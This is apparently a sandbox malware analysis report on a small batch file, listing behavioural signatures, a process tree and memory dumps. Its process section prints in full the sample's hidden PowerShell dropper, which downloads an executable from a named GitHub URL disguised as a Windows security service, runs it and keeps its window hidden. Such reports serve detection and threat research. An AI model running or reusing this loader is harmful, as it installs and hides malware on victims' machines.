Analysis

  • max time kernel
    150s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 08:31

General

  • Target
    test.bat
  • Size 668B
  • Sample260809-kepwmstfmd
  • SHA256 91711e5f219dd537680fecea401533357b63575fc52c8fc3a287f5b6bb4015c5
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/dwqfefewfewfew/OwoSexy/raw/refs/heads/main/SecurityHealthSarvice0(1).exe

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4088
    • C:\Windows\system32\cmd.exe
      cmd /c powershell -WindowStyle Hidden -Command "$url='https://github.com/dwqfefewfewfew/OwoSexy/raw/refs/heads/main/SecurityHealthSarvice0(1).exe'; $out=\"$env:APPDATA\BK942369.exe\"; iwr -Uri $url -OutFile $out; Start-Process -FilePath $out -WindowStyle Hidden; while($true) { $p = Get-Process -Name 'BK942369' -ErrorAction SilentlyContinue; if ($p) { foreach ($proc in $p) { if ($proc.MainWindowHandle -ne 0) { $sig='[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'; Add-Type -MemberDefinition $sig -Name \"Win\" -Namespace \"UI\"; [UI.Win]::ShowWindow($proc.MainWindowHandle, 0) } } }; Start-Sleep -Milliseconds 200 }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "$url='https://github.com/dwqfefewfewfew/OwoSexy/raw/refs/heads/main/SecurityHealthSarvice0(1).exe'; $out=\"$env:APPDATA\BK942369.exe\"; iwr -Uri $url -OutFile $out; Start-Process -FilePath $out -WindowStyle Hidden; while($true) { $p = Get-Process -Name 'BK942369' -ErrorAction SilentlyContinue; if ($p) { foreach ($proc in $p) { if ($proc.MainWindowHandle -ne 0) { $sig='[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'; Add-Type -MemberDefinition $sig -Name \"Win\" -Namespace \"UI\"; [UI.Win]::ShowWindow($proc.MainWindowHandle, 0) } } }; Start-Sleep -Milliseconds 200 }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3260

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/3260-0-0x00007FFE21F9F000-0x00007FFE21FA0000-memory.dmp

        memory/3260-3-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-4-0x000001DD79220000-0x000001DD79242000-memory.dmp

        memory/3260-5-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-6-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-7-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-8-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-9-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-10-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-11-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-12-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-13-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-14-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-15-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-17-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-18-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp

        memory/3260-19-0x00007FFE21E10000-0x00007FFE227B4000-memory.dmp